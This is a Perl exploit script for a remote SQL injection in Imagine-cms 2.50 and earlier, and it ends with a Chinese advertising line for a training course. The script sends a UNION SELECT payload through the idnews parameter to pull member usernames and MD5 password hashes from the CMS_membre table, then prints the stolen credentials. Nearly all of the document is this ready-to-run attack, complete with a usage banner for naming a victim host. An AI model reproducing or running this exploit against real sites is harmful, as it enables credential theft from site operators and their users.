use IO::Socket;  

if(@ARGV != 2) { usage(); }  

else { exploit(); }  

sub header()  

{  

  print "\n- Author: Metropolis\r\n";  

  print "- Imagine-cms <= 2.50 Remote SQL Injection Exploit\r\n";  

}  

sub usage()  

{  

  header();  

  print "- Usage: $0 <host> <path>\r\n";  

  print "- <host> -> Victim's host ex: 6ecK9s2c8@1M7q4)9K6b7g2)9J5c8W2)9J5c8Y4N6%4N6#2)9J5k6i4k6A6j5%4c8A6L8g2)9J5k6h3y4G2L8g2)9#2b7%4u0Q4y4f1y4F1";  

  print "- <path> -> ex: /\r\n";  

  exit();  

}  

sub exploit ()  

{  

  #Our variables...  

  $spserver = $ARGV[0];  

  $spserver =~ s/(http:\/\/)//eg;  

  $sphost   = "http://".$spserver;  

  $spdir    = $ARGV[1];  

  $spport   = "80";  

  $sptar    = "index.php?page=commentaire&idnews=";  

  $spxp     = "-1+and+1=0+union+select+1,2,concat(25552,membre_pseudo,25553,membre_mdp,25554),4,5+from+CMS_membre--";  

  $spreq    = $sphost.$spdir.$sptar.$spxp;  

  #Sending data...  

  header();  

  print "- Trying to connect: $spserver\r\n";  

  $sp = IO::Socket::INET->new(Proto => "tcp", PeerAddr => "$spserver", PeerPort => "$spport") || die "- Connection failed...\n";  

  print $sp "GET $spreq HTTP/1.1\n";  

  print $sp "Accept: */*\n";  

  print $sp "Referer: $sphost\n";  

  print $sp "Accept-Language: tr\n";  

  print $sp "User-Agent: NukeZilla\n";  

  print $sp "Cache-Control: no-cache\n";  

  print $sp "Host: $spserver\n";  

  print $sp "Connection: close\n\n";  

  print "- Connected...\r\n";  

  while ($answer = <$sp>) {  

    if ($answer =~ /25552(.*?)25553([\d,a-f]{32})25554/) {  

      print "- Exploit succeed!\r\n";  

      print "- Username: $1\r\n";  

      print "- MD5 HASH of PASSWORD: $2\r\n";  

      exit();  

    }  

  }  

  #Exploit failed...  

  print "- Exploit failed\n" 

}  

[培训]科锐逆向工程师培训第53期2025年7月8日开班！